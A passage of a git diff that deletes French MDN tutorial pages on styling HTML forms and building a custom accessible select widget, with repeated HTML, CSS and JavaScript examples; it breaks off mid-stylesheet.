-  font-style: normal;
-}
-
-body {
-  font  : 21px sans-serif;
-
-  padding : 2em;
-  margin  : 0;
-
-  background : #222;
-}
-
-form {
-  position: relative;
-
-  width  : 740px;
-  height : 498px;
-  margin : 0 auto;
-
-  background: #FFF url(background.jpg);
-}
- -

Maintenant nous pouvons placer nos éléments, y compris le titre et tous les éléments du formulaire.

- -
h1 {
-  position : absolute;
-  left : 415px;
-  top  : 185px;
-
-  font : 1em "typewriter", sans-serif;
-}
-
-#from {
-  position: absolute;
-  left : 398px;
-  top  : 235px;
-}
-
-#reply {
-  position: absolute;
-  left : 390px;
-  top  : 285px;
-}
-
-#message {
-  position: absolute;
-  left : 20px;
-  top  : 70px;
-}
- -

C'est là que nous commençons à travailler sur les éléments du formulaire eux-mêmes. Tout d'abord, assurons-nous que l'élément {{HTMLElement("label")}} est doté de la bonne police de caractères.

- -
label {
-  font : .8em "typewriter", sans-serif;
-}
- -

Les champs texte nécessitent quelques règles courantes. Mettons‑les simplement, nous supprimons {{cssxref("border","borders")}} et {{cssxref("background","backgrounds")}} et redéfinissons {{cssxref("padding")}} et {{cssxref("margin")}}.

- -
input, textarea {
-  font    : .9em/1.5em "handwriting", sans-serif;
-
-  border  : none;
-  padding : 0 10px;
-  margin  : 0;
-  width   : 240px;
-
-  background: none;
-}
- -

Lorsque l'un de ces champs reçoit le focus, nous le mettons en évidence avec un fond gris clair et transparent. Notez qu'il est important d'ajouter la propriété {{cssxref("outline")}} pour supprimer le focus par défaut ajouté par certains navigateurs.

- -
input:focus, textarea:focus {
-  background   : rgba(0,0,0,.1);
-  border-radius: 5px;
-  outline      : none;
-}
- -

Maintenant que nos champs texte sont terminés, nous devons ajuster l'affichage de ceux à une et ceux à plusieurs lignes pour qu'ils correspondent, car ils ne sont généralement pas du tout identiques par défaut.

- -

Le champ texte à une seule ligne a besoin de quelques ajustements pour un bon rendu dans Internet Explorer. Internet Explorer ne définit pas la hauteur des champs en fonction de la hauteur naturelle de la police (qui est le comportement de tous les autres navigateurs). Pour résoudre ce problème, nous devons ajouter une hauteur explicite au champ, comme suit :

- -
input {
-    height: 2.5em; /* pour IE */
-    vertical-align: middle; /* optionnel mais donne meilleur aspect pour IE */
-}
- -

Les éléments {{HTMLElement("textarea")}} sont rendus par défaut en tant qu'élément bloc. Les deux choses importantes ici sont les propriétés {{cssxref("resize")}} et {{cssxref("overflow")}}. Comme notre design est à taille fixe, nous utiliserons la propriété resize pour empêcher les utilisateurs de redimensionner le champ texte multiligne. La propriété {{cssxref("overflow")}} est utilisée pour rendre le champ plus cohérent d'un navigateur à l'autre ; certains navigateurs utilisent la valeur auto et d'autres la valeur par défaut pour scroll lorsqu'elle n'est pas précisée. Dans notre cas, il vaut mieux s'assurer que tout le monde utilise auto.

- -
textarea {
-  display : block;
-
-  padding : 10px;
-  margin  : 10px 0 0 -10px;
-  width   : 340px;
-  height  : 360px;
-
-  resize  : none;
-  overflow: auto;
-}
- -

L'élément {{HTMLElement("button")}} est très accommodant avec les CSS ; vous faites ce que vous voulez, même en utilisant les pseudo-elements !

- -
button {
-  position     : absolute;
-  left         : 440px;
-  top          : 360px;
-
-  padding      : 5px;
-
-  font         : bold .6em sans-serif;
-  border       : 2px solid #333;
-  border-radius: 5px;
-  background   : none;
-
-  cursor       : pointer;
-
--webkit-transform: rotate(-1.5deg);
-   -moz-transform: rotate(-1.5deg);
-    -ms-transform: rotate(-1.5deg);
-     -o-transform: rotate(-1.5deg);
-        transform: rotate(-1.5deg);
-}
-
-button:after {
-  content: " >>>";
-}
-
-button:hover,
-button:focus {
-  outline   : none;
-  background: #000;
-  color   : #FFF;
-}
- -

Et voilà ! (en français dans le texte)

- -
-

Note : si cet exemple ne fonctionne pas tout à fait comme vous l'attendez et que vous voulez vérifier votre version, vous la trouverez sur GitHub — voyez‑la fonctionner en direct (et revoyez son code source).

-
- -

Conclusion

- -

Comme vous pouvez le voir, tant que nous voulons construire des formulaires avec seulement des champs de texte et des boutons, il est facile de les styliser à l'aide des CSS. Si vous voulez en savoir plus sur les petites astuces des CSS qui peuvent vous faciliter la vie lorsque vous travaillez avec des widgets de formulaire, jetez un coup d'oeil à la partie formulaire du projet normalize.css.

- -

Dans le prochain article, nous verrons comment gérer les widgets des catégories « brutes » et « truands ».

- -

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_3/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_3/index.html" deleted file mode 100644 index a647cfaba3..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_3/index.html" +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Exemple 3 -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3 -tags: - - Formulaires - - HTML -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 ---- -

Ceci est le troisième exemple expliquant comment construire des widgets de formulaire personnalisés.

- -

Changement d'état

- -

Contenu HTML

- -
<form class="no-widget">
-  <select name="myFruit" tabindex="-1">
-      <option>Cerise</option>
-      <option>Citron</option>
-      <option>Banane</option>
-      <option>Fraise</option>
-      <option>Pomme</option>
-  </select>
-
-  <div class="select" tabindex="0">
-    <span class="value">Cerise</span>
-    <ul class="optList hidden">
-      <li class="option">Cerise</li>
-      <li class="option">Citron</li>
-      <li class="option">Banane</li>
-      <li class="option">Fraise</li>
-      <li class="option">Pomme</li>
-    </ul>
-  </div>
-</form>
- -

Contenu du CSS

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Style  chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Contenu JavaScript

- -
// ----------- //
-// UTILITAIRES //
-// ----------- //
-
-NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
-
-// ------------------------- //
-// Définitions des fonctions //
-// ------------------------- //
-
-function deactivateSelect(select) {
-  if (!select.classList.contains('active')) return;
-
-  var optList = select.querySelector('.optList');
-
-  optList.classList.add('hidden');
-  select.classList.remove('active');
-}
-
-function activeSelect(select, selectList) {
-  if (select.classList.contains('active')) return;
-
-  selectList.forEach(deactivateSelect);
-  select.classList.add('active');
-};
-
-function toggleOptList(select, show) {
-  var optList = select.querySelector('.optList');
-
-  optList.classList.toggle('hidden');
-}
-
-function highlightOption(select, option) {
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  option.classList.add('highlight');
-};
-
-// ------------------- //
-// Lien aux événements //
-// ------------------- //
-
-window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option');
-
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
-        highlightOption(select, option);
-      });
-    });
-
-    select.addEventListener('click', function (event) {
-      toggleOptList(select);
-    },  false);
-
-    select.addEventListener('focus', function (event) {
-      activeSelect(select, selectList);
-    });
-
-    select.addEventListener('blur', function (event) {
-      deactivateSelect(select);
-    });
-  });
-});
- -

Résultat

- -

{{ EmbedLiveSample('Change_states') }}

diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_4/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_4/index.html" deleted file mode 100644 index 4bd1a9a069..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_4/index.html" +++ /dev/null @@ -1,297 +0,0 @@ ---- -title: Exemple 4 -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4 -tags: - - Avancé - - Exemple - - Formulaires - - Guide - - HTML - - Web -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_4 ---- -

Ceci est le quatrième exemple expliquant comment construire des widgets de formulaire personnalisés.

- -

Changement d'état

- -

Contenu HTML

- -
<form class="no-widget">
-  <select name="myFruit">
-    <option>Cerise</option>
-    <option>Citron</option>
-    <option>Banane</option>
-    <option>Fraise</option>
-    <option>Pomme</option>
-  </select>
-
-  <div class="select">
-    <span class="value">Cerise</span>
-    <ul class="optList hidden">
-      <li class="option">Cerise</li>
-      <li class="option">Citron</li>
-      <li class="option">Banane</li>
-      <li class="option">Fraise</li>
-      <li class="option">Pomme</li>
-    </ul>
-  </div>
-</form>
- -

Contenu CSS

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Styles chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Contenu JavaScript

- -
// ----------- //
-// UTILITAIRES //
-// ----------- //
-
-NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
-
-// ------------------------- //
-// Définitions des fonctions //
-// ------------------------- //
-
-function deactivateSelect(select) {
-  if (!select.classList.contains('active')) return;
-
-  var optList = select.querySelector('.optList');
-
-  optList.classList.add('hidden');
-  select.classList.remove('active');
-}
-
-function activeSelect(select, selectList) {
-  if (select.classList.contains('active')) return;
-
-  selectList.forEach(deactivateSelect);
-  select.classList.add('active');
-};
-
-function toggleOptList(select, show) {
-  var optList = select.querySelector('.optList');
-
-  optList.classList.toggle('hidden');
-}
-
-function highlightOption(select, option) {
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  option.classList.add('highlight');
-};
-
-function updateValue(select, index) {
-  var nativeWidget = select.previousElementSibling;
-  var value = select.querySelector('.value');
-  var optionList = select.querySelectorAll('.option');
-
-  nativeWidget.selectedIndex = index;
-  value.innerHTML = optionList[index].innerHTML;
-  highlightOption(select, optionList[index]);
-};
-
-function getIndex(select) {
-  var nativeWidget = select.previousElementSibling;
-
-  return nativeWidget.selectedIndex;
-};
-
-// -------------------- //
-// Liens aux événements //
-// -------------------- //
-
-window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option');
-
-    optionList.forEach(function (option) {
-      option.addEventListener('mouseover', function () {
-        highlightOption(select, option);
-      });
-    });
-
-    select.addEventListener('click', function (event) {
-      toggleOptList(select);
-    });
-
-    select.addEventListener('focus', function (event) {
-      activeSelect(select, selectList);
-    });
-
-    select.addEventListener('blur', function (event) {
-      deactivateSelect(select);
-    });
-  });
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option'),
-        selectedIndex = getIndex(select);
-
-    select.tabIndex = 0;
-    select.previousElementSibling.tabIndex = -1;
-
-    updateValue(select, selectedIndex);
-
-    optionList.forEach(function (option, index) {
-      option.addEventListener('click', function (event) {
-        updateValue(select, index);
-      });
-    });
-
-    select.addEventListener('keyup', function (event) {
-      var length = optionList.length,
-          index  = getIndex(select);
-
-      if (event.keyCode === 40 && index < length - 1) { index++; }
-      if (event.keyCode === 38 && index > 0) { index--; }
-
-      updateValue(select, index);
-    });
-  });
-});
- -

Résultat

- -

{{ EmbedLiveSample('Change_states') }}

diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_5/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_5/index.html" deleted file mode 100644 index bf1143d186..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/example_5/index.html" +++ /dev/null @@ -1,290 +0,0 @@ ---- -title: Exemple 5 -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5 -tags: - - Formulaires - - HTML -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_5 ---- -

Voici le dernier exemple expliquant comment construire des widgets de formulaire personnalisés.

- -

Changement d'état

- -

Contenu HTML

- -
<form class="no-widget">
-  <select name="myFruit">
-    <option>Cerise</option>
-    <option>Citron</option>
-    <option>Banane</option>
-    <option>Fraise</option>
-    <option>Pomme</option>
-  </select>
-
-  <div class="select" role="listbox">
-    <span class="value">Cerise</span>
-    <ul class="optList hidden" role="presentation">
-      <li class="option" role="option" aria-selected="true">Cerise</li>
-      <li class="option" role="option">Citron</li>
-      <li class="option" role="option">Banane</li>
-      <li class="option" role="option">Fraise</li>
-      <li class="option" role="option">Pomme</li>
-    </ul>
-  </div>
-</form>
- -

Contenu CSS

- -
.widget select,
-.no-widget .select {
-  position : absolute;
-  left     : -5000em;
-  height   : 0;
-  overflow : hidden;
-}
-
-/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Styles Chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Contenu JavaScript

- -
// ----------- //
-// UTILITAIRES //
-// ----------- //
-
-NodeList.prototype.forEach = function (callback) {
-  Array.prototype.forEach.call(this, callback);
-}
-
-// ------------------------- //
-// Définitions des fonctions //
-// ------------------------- //
-
-function deactivateSelect(select) {
-  if (!select.classList.contains('active')) return;
-
-  var optList = select.querySelector('.optList');
-
-  optList.classList.add('hidden');
-  select.classList.remove('active');
-}
-
-function activeSelect(select, selectList) {
-  if (select.classList.contains('active')) return;
-
-  selectList.forEach(deactivateSelect);
-  select.classList.add('active');
-};
-
-function toggleOptList(select, show) {
-  var optList = select.querySelector('.optList');
-
-  optList.classList.toggle('hidden');
-}
-
-function highlightOption(select, option) {
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.classList.remove('highlight');
-  });
-
-  option.classList.add('highlight');
-};
-
-function updateValue(select, index) {
-  var nativeWidget = select.previousElementSibling;
-  var value = select.querySelector('.value');
-  var optionList = select.querySelectorAll('.option');
-
-  optionList.forEach(function (other) {
-    other.setAttribute('aria-selected', 'false');
-  });
-
-  optionList[index].setAttribute('aria-selected', 'true');
-
-  nativeWidget.selectedIndex = index;
-  value.innerHTML = optionList[index].innerHTML;
-  highlightOption(select, optionList[index]);
-};
-
-function getIndex(select) {
-  var nativeWidget = select.previousElementSibling;
-
-  return nativeWidget.selectedIndex;
-};
-
-// -------------------- //
-// Liens aux événements //
-// -------------------- //
-
-window.addEventListener("load", function () {
-  var form = document.querySelector('form');
-
-  form.classList.remove("no-widget");
-  form.classList.add("widget");
-});
-
-window.addEventListener('load', function () {
-  var selectList = document.querySelectorAll('.select');
-
-  selectList.forEach(function (select) {
-    var optionList = select.querySelectorAll('.option'),
-        selectedIndex = getIndex(select);
-
-    select.tabIndex = 0;
-    select.previousElementSibling.tabIndex = -1;
-
-    updateValue(select, selectedIndex);
-
-    optionList.forEach(function (option, index) {
-      option.addEventListener('mouseover', function () {
-        highlightOption(select, option);
-      });
-
-      option.addEventListener('click', function (event) {
-        updateValue(select, index);
-      });
-    });
-
-    select.addEventListener('click', function (event) {
-      toggleOptList(select);
-    });
-
-    select.addEventListener('focus', function (event) {
-      activeSelect(select, selectList);
-    });
-
-    select.addEventListener('blur', function (event) {
-      deactivateSelect(select);
-    });
-
-    select.addEventListener('keyup', function (event) {
-      var length = optionList.length,
-          index  = getIndex(select);
-
-      if (event.keyCode === 40 && index < length - 1) { index++; }
-      if (event.keyCode === 38 && index > 0) { index--; }
-
-      updateValue(select, index);
-    });
-  });
-});
-
- -

Résultat

- -

{{ EmbedLiveSample('Change_states') }}

diff --git "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_1/index.html" "b/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_1/index.html" deleted file mode 100644 index 045f631079..0000000000 --- "a/files/fr/web/guide/html/formulaires/comment_construire_des_widgets_de_formulaires_personnalis\303\251s/exemple_1/index.html" +++ /dev/null @@ -1,420 +0,0 @@ ---- -title: Exemple 1 -slug: >- - Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_1 -tags: - - Formulaires - - Guide - - HTML -translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 ---- -

C'est le premier exemple de code qui explique comment construire un widget de formulaire personnalisé.

- -

État initial

- -

HTML

- -
<div class="select">
-  <span class="value">Cerise</span>
-  <ul class="optList hidden">
-    <li class="option">Cerise</li>
-    <li class="option">Citron</li>
-    <li class="option">Banane</li>
-    <li class="option">Fraise</li>
-    <li class="option">Pomme</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Style  Chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
-
- -

Resultat pour l'état initial

- -
{{ EmbedLiveSample("Basic_state", 120, 130) }}
- -

État actif

- -

HTML

- -
<div class="select active">
-  <span class="value">Cerise</span>
-  <ul class="optList hidden">
-    <li class="option">Cerise</li>
-    <li class="option">Citron</li>
-    <li class="option">Banane</li>
-    <li class="option">Fraise</li>
-    <li class="option">Pomme</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Style  Chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
-  border        : 0.2em solid #000; /* 2px */
-  border-radius : 0.4em; /* 4px */
-
-  box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
-
-  background : #F0F0F0;
-  background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-  background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0);
-}
-
-.select .value {
-  display  : inline-block;
-  width    : 100%;
-  overflow : hidden;
-
-  white-space   : nowrap;
-  text-overflow : ellipsis;
-  vertical-align: top;
-}
-
-.select:after {
-  content : "▼";
-  position: absolute;
-  z-index : 1;
-  height  : 100%;
-  width   : 2em; /* 20px */
-  top     : 0;
-  right   : 0;
-
-  padding-top : .1em;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  text-align : center;
-
-  border-left  : .2em solid #000;
-  border-radius: 0 .1em .1em 0;
-
-  background-color : #000;
-  color : #FFF;
-}
-
-.select .optList {
-  z-index : 2;
-
-  list-style: none;
-  margin : 0;
-  padding: 0;
-
-  background: #f0f0f0;
-  border: .2em solid #000;
-  border-top-width : .1em;
-  border-radius: 0 0 .4em .4em;
-
-  box-shadow: 0 .2em .4em rgba(0,0,0,.4);
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  min-width : 100%;
-  max-height: 10em; /* 100px */
-  overflow-y: auto;
-  overflow-x: hidden;
-}
-
-.select .option {
-  padding: .2em .3em;
-}
-
-.select .highlight {
-  background: #000;
-  color: #FFFFFF;
-}
- -

Résultat pour état actif

- -
{{ EmbedLiveSample("Active_state", 120, 130) }}
- -

État ouvert

- -

HTML

- -
<div class="select active">
-  <span class="value">Cerise</span>
-  <ul class="optList">
-    <li class="option highlight">Cerise</li>
-    <li class="option">Citron</li>
-    <li class="option">Banane</li>
-    <li class="option">Fraise</li>
-    <li class="option">Pomme</li>
-  </ul>
-</div>
- -

CSS

- -
/* --------------- */
-/* Styles Requis   */
-/* --------------- */
-
-.select {
-  position: relative;
-  display : inline-block;
-}
-
-.select.active,
-.select:focus {
-  box-shadow: 0 0 3px 1px #227755;
-  outline: none;
-}
-
-.select .optList {
-  position: absolute;
-  top     : 100%;
-  left    : 0;
-}
-
-.select .optList.hidden {
-  max-height: 0;
-  visibility: hidden;
-}
-
-/* ------------ */
-/* Style  Chic  */
-/* ------------ */
-
-.select {
-  font-size   : 0.625em; /* 10px */
-  font-family : Verdana, Arial, sans-serif;
-
-  -moz-box-sizing : border-box;
-  box-sizing : border-box;
-
-  padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */
-  width   : 10em; /* 100px */
-
